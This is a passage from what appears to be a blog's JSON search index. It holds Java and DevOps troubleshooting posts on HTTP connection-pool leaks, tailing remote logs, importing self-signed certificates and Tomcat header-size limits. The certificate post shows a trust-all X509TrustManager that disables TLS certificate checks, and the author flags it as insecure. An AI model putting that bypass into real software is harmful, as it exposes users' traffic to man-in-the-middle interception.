class=\"s\"\u003e\u0026#34;.\u0026#34;\u003c/span\u003e\u003cspan class=\"nt\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/suppressions\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor, \u003ca href=\"https://spotbugs.readthedocs.io/en/stable/filter.html\"\u003eSpotbugs\u003c/a\u003e, you specify the package level suppression in the exclude file as follows\u003c/p\u003e","title":"Adding package suppressions in Checkstyle and Spotbugs"},{"content":"Recently, I was facing an issue in production where our backend service used to get stuck while making a HTTP client request through Apache HTTP\nAfter some debugging, I got this stack trace from the logs\norg.apache.http.conn.ConnectionPoolTimeoutException: Timeout waiting for connection from pool at org.apache.http.impl.conn.PoolingHttpClientConnectionManager.leaseConnection(PoolingHttpClientConnectionManager.java:316) at org.apache.http.impl.conn.PoolingHttpClientConnectionManager$1.get(PoolingHttpClientConnectionManager.java:282) at org.apache.http.impl.execchain.MainClientExec.execute(MainClientExec.java:190) at org.apache.http.impl.execchain.ProtocolExec.execute(ProtocolExec.java:186) at org.apache.http.impl.execchain.RetryExec.execute(RetryExec.java:89) at org.apache.http.impl.execchain.ServiceUnavailableRetryExec.execute(ServiceUnavailableRetryExec.java:85) at org.apache.http.impl.execchain.RedirectExec.execute(RedirectExec.java:110) at org.apache.http.impl.client.InternalHttpClient.doExecute(InternalHttpClient.java:185) at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:83) at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:108) at org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:56) The peculiar thing was that it was happening for only single endpoint and not any other endpoint.\nWe were using Apache HTTP connection pooling library and my focus shifted to that. According to PoolingHttpClientConnectionManager documentation, it maintains a maximum limit of connection on a per route basis and in total.\nWe were using a simple bean configured as follows\n@Bean public HttpClient httpClient() { final int CONN_TIMEOUT_MS = 1000; final int CONN_REQUEST_TIMEOUT_MS = 60000; final int CONN_SOCKET_TIMEOUT_MS = 60000; final int CONN_POOL_DEFAULT_MAX = 40; final int CONN_POOL_DEFAULT_MAX_PER_ROUTE = 20; connectionManager .setDefaultMaxPerRoute(CONN_POOL_DEFAULT_MAX_PER_ROUTE); connectionManager.setMaxTotal(CONN_POOL_DEFAULT_MAX); RequestConfig requestConfig = RequestConfig.custom().setConnectTimeout(CONN_TIMEOUT_MS) .setConnectionRequestTimeout(CONN_REQUEST_TIMEOUT_MS) .setSocketTimeout(CONN_SOCKET_TIMEOUT_MS).build(); return HttpClientBuilder.create() .setConnectionManager(connectionManager) .setDefaultRequestConfig(requestConfig).build(); } After going through our code, I observed that in some cases, where response case was != 200, we weren\u0026rsquo;t consuming the response using EntityUtils.toString(response.getEntity()) and that seemed to be the problem. This is because, we weren\u0026rsquo;t interested in the response if the status code indicated a failure. However, according to Apache HTTP documentation, the response must be consumed using EntityUtils.toString(response.getEntity()) or EntityUtils.consumeQuietly(response.getEntity()). The latter can be used when the client is not interested in the response, which can be the case for failure scenarios.\nPool Statistics There is a way to get more interesting information about using PoolStats\nAs per this stackoverflow thread, the stats of the PoolingHttpClientConnectionManager can be obtained through following method:\nprivate static String createHttpInfo(PoolingHttpClientConnectionManager connectionManager) { StringBuilder sb = new StringBuilder(); sb.append(\u0026#34;=========================\u0026#34;).append(\u0026#34;\\n\u0026#34;); sb.append(\u0026#34;General Info:\u0026#34;).append(\u0026#34;\\n\u0026#34;); sb.append(\u0026#34;-------------------------\u0026#34;).append(\u0026#34;\\n\u0026#34;); sb.append(\u0026#34;MaxTotal: \u0026#34;).append(connectionManager.getMaxTotal()).append(\u0026#34;\\n\u0026#34;); sb.append(\u0026#34;DefaultMaxPerRoute: \u0026#34;).append(connectionManager.getDefaultMaxPerRoute()).append(\u0026#34;\\n\u0026#34;); sb.append(\u0026#34;ValidateAfterInactivity: \u0026#34;).append(connectionManager.getValidateAfterInactivity()).append(\u0026#34;\\n\u0026#34;); sb.append(\u0026#34;=========================\u0026#34;).append(\u0026#34;\\n\u0026#34;); PoolStats totalStats = connectionManager.getTotalStats(); sb.append(createPoolStatsInfo(\u0026#34;Total Stats\u0026#34;, totalStats)); Set\u0026lt;HttpRoute\u0026gt; routes = connectionManager.getRoutes(); if (routes != null) { for (HttpRoute route : routes) { sb.append(createRouteInfo(connectionManager, route)); } } return sb.toString(); } I have setup a github repository, which contains the above code and some sample test cases which indicate the failure / success scenarios of Apache HTTP connection pool. Check it out at https://github.com/madhur/apache-http-connection-pool-test\n","permalink":"https://madhur.co.in/blog/2020/03/22/prevent-connection-leak-apache-http.html","summary":"\u003cp\u003eRecently, I was facing an issue in production where our backend service used to get stuck while making a HTTP client request through Apache HTTP\u003c/p\u003e\n\u003cp\u003eAfter some debugging, I got this stack trace from the logs\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-log\" data-lang=\"log\"\u003eorg.apache.http.conn.ConnectionPoolTimeoutException: Timeout waiting for connection from pool\n\tat org.apache.http.impl.conn.PoolingHttpClientConnectionManager.leaseConnection(PoolingHttpClientConnectionManager.java:316)\n\tat org.apache.http.impl.conn.PoolingHttpClientConnectionManager$1.get(PoolingHttpClientConnectionManager.java:282)\n\tat org.apache.http.impl.execchain.MainClientExec.execute(MainClientExec.java:190)\n\tat org.apache.http.impl.execchain.ProtocolExec.execute(ProtocolExec.java:186)\n\tat org.apache.http.impl.execchain.RetryExec.execute(RetryExec.java:89)\n\tat org.apache.http.impl.execchain.ServiceUnavailableRetryExec.execute(ServiceUnavailableRetryExec.java:85)\n\tat org.apache.http.impl.execchain.RedirectExec.execute(RedirectExec.java:110)\n\tat org.apache.http.impl.client.InternalHttpClient.doExecute(InternalHttpClient.java:185)\n\tat org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:83)\n\tat org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:108)\n\tat org.apache.http.impl.client.CloseableHttpClient.execute(CloseableHttpClient.java:56)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe peculiar thing was that it was happening for only single endpoint and not any other endpoint.\u003c/p\u003e","title":"Lessons learnt using Apache HTTP Connection Pooling Library"},{"content":"Recently, our ELK infrastructure went down which aggregates log from our multiple servers. I wanted to investigate a production issue which involved looking up logs of multiple servers simultaneously.\nI tried different methods such as tmux, multitail and ssh command such as\nssh HOST_1 \u0026#34;tail -f /path/to/file\u0026#34; | tee -a /path/to/merged/contents ssh HOST_2 \u0026#34;tail -f /path/to/file\u0026#34; | tee -a /path/to/merged/contents tail -f /path/to/merged/contents All these are nice solutions, but none of them is elegant. It involves setting up multiple terminal sessions just to start the monitoring.\nThere is also this open source project which tries to solves this problem but don\u0026rsquo;t think does a good job at it.\nHowever, the best solution comes in the form of using Fabric\nFabric is a high level Python (2.7, 3.4+) library designed to execute shell commands remotely over SSH, yielding useful Python objects in return. It builds on top of Invoke (subprocess command execution and command-line features) and Paramiko (SSH protocol implementation), extending their APIs to complement one another and provide additional functionality.\nOnce, Fab is installed using pip install fabric , the multiple logs can be tailed as follows:\nfab -P -u username --linewise -H x.x.x.x,y.y.y.y -- tail -f /path/file.log Also, what I like to do is instead of typing this log command, just alias it into my ~/.zshrc\nalias catalinadev=\u0026#39;fab -P -u username --linewise -H x.x.x.x,y.y.y.y -- tail -f /path/file.log\u0026#39; Thus, I can just type catalinadev anytime and start tailing my Tomcata catalina log files from dev environment.\nHere is the output in action, notice how the IP address on the left handside tells us the machine from which the log line was fetched:\nOpen in fullscreen\n","permalink":"https://madhur.co.in/blog/2020/03/14/tailing-multiple-log-files.html","summary":"\u003cp\u003eRecently, our ELK infrastructure went down which aggregates log from our multiple servers. I wanted to investigate a production issue which involved looking up logs of multiple servers simultaneously.\u003c/p\u003e\n\u003cp\u003eI tried different methods such as \u003ca href=\"https://github.com/tmux/tmux/wiki\"\u003etmux\u003c/a\u003e, \u003ca href=\"https://www.vanheusden.com/multitail/\"\u003emultitail\u003c/a\u003e and ssh command such as\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003essh HOST_1 \u003cspan class=\"s2\"\u003e\u0026#34;tail -f /path/to/file\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e tee -a /path/to/merged/contents\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003essh HOST_2 \u003cspan class=\"s2\"\u003e\u0026#34;tail -f /path/to/file\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e tee -a /path/to/merged/contents\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003etail -f /path/to/merged/contents\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAll these are nice solutions, but none of them is elegant. It involves setting up multiple terminal sessions just to start the monitoring.\u003c/p\u003e","title":"Tailing log files on multiple remote machines"},{"content":"If any host is using self-signed certificate, then a typical HTTPS request to that host will fail in the Java code with the following exception:\njavax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target A very NOT recommended solution to this problem is to bypass the certificate check\nimport java.security.cert.CertificateException; import java.security.cert.X509Certificate; import javax.net.ssl.X509TrustManager; public class TrustAnyTrustManager implements X509TrustManager { public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { } public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { } public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[] {}; } } And then use this TrustAnyTrustManager while forming the request\nHttpsURLConnection conn = null; URL url = new URL(serviceUrl); conn = (HttpsURLConnection) url.openConnection(); SSLContext sc = SSLContext.getInstance(\u0026#34;SSL\u0026#34;); sc.init(null, new TrustManager[]{new TrustAnyTrustManager()}, new java.security.SecureRandom()); conn.setSSLSocketFactory(sc.getSocketFactory()); Let me re-iterate, do not use the above code in production or even development envrionment. This is highly insecure and susceptible to MITM attacks\nA better solution is to import the untrusted certificate into the Java keystore. First, we have to export the certificate. This can be done using Chrome and then import it through command line.\nAll this can be automated through either a simple shell script, which can be executed on the server itself. For example, the below script can be executed using:\nsudo ./javacert.sh google.com Though, the above solution works for development servers, this is not a recommended solution for production servers. A situation should not arise where you have to import the un-signed certificate into production environment, but even if it arises, its better to go with orchestration solution either using Ansible or Chef\nIn my case, the below simple ansible playbook does the job for us:\n--- - hosts: all tasks: - name: Import SSL certificate from google.com to a given cacerts keystore java_cert: cert_url: google.com cert_port: 443 keystore_path: /usr/lib/jvm/jre7/lib/security/cacerts keystore_pass: changeit state: present ","permalink":"https://madhur.co.in/blog/2020/03/07/import-certificate-java.html","summary":"\u003cp\u003eIf any host is using self-signed certificate, then a typical HTTPS request to that host will fail in the Java code with the following exception:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ejavax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eA very NOT recommended solution to this problem is to bypass the certificate check\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.security.cert.CertificateException\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.security.cert.X509Certificate\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejavax.net.ssl.X509TrustManager\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eTrustAnyTrustManager\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eimplements\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eX509TrustManager\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003echeckClientTrusted\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eauthType\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCertificateException\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003echeckServerTrusted\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eauthType\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCertificateException\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003egetAcceptedIssuers\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{};\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd then use this \u003ccode\u003eTrustAnyTrustManager\u003c/code\u003e while forming the request\u003c/p\u003e","title":"Importing certificate into Java Keystore"},{"content":"Recently, I faced a production issue where some of our requests were failing with the following exception\norg.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header Note: further occurrences of HTTP header parsing errors will be logged at DEBUG level. java.lang.IllegalArgumentException: Request header is too large at org.apache.coyote.http11.Http11InputBuffer.parseHeaders(Http11InputBuffer.java:583) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:703) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:790) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1468) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:745) Interestingly, the occurrence of these errors in the logs were very few but I was seeing lot of failures in our availability dashboards. That\u0026rsquo;s where I observed this note in the exception:\nNote: further occurrences of HTTP header parsing errors will be logged at DEBUG level.\nThe way tomcat works is that for certain type of errors such as above, it will only log the error once with the INFO level, and then further occurrences are logged only at the DEBUG level.\nThis change in log level is an in memory change and hence is retained until the tomcat is restarted.\nYou can see that in the source code here on line 1144:\nhttps://github.com/apache/tomcat/blob/7.0.x/java/org/apache/coyote/http11/AbstractHttp11Processor.java\nTo get this error log emitted for each event, DEBUG log needs to be enabled. For this add org.apache.coyote.level = FINE in tomcat/conf/logging.properties\nWhy is this problem caused? HTTP specification does not enforce any size limit on the size of headers. However, modern browsers and application servers such as Tomcat enforce this limit. By default 4 KB is the limit on Tomcat, which is more than enough. However, if you are adding lot of headers or using cookies extensively, this limit can be breached.\nTo solve this, I needed to add maxHttpHeaderSize in $TOMCAT_HOME/conf/server.xml\n\u0026lt;Connector port=\u0026#34;8080\u0026#34; maxHttpHeaderSize=\u0026#34;65536\u0026#34; protocol=\u0026#34;HTTP/1.1\u0026#34; ... /\u0026gt; In case, you are using Spring Boot, add the following in application.properties\nserver.max-http-header-size=65536 ","permalink":"https://madhur.co.in/blog/2020/02/29/request-header-is-too-large.html","summary":"\u003cp\u003eRecently, I faced a production issue where some of our requests were failing with the following exception\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecoyote\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ehttp11\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eHttp11Processor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eservice\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eparsing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHTTP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erequest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNote\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efurther\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoccurrences\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHTTP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eparsing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eerrors\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ewill\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elogged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDEBUG\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003elang\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eIllegalArgumentException\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRequest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elarge\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eorg\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eapache\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecoyote\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ehttp11\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eHttp11InputBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eparseHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eHttp11InputBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e583\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 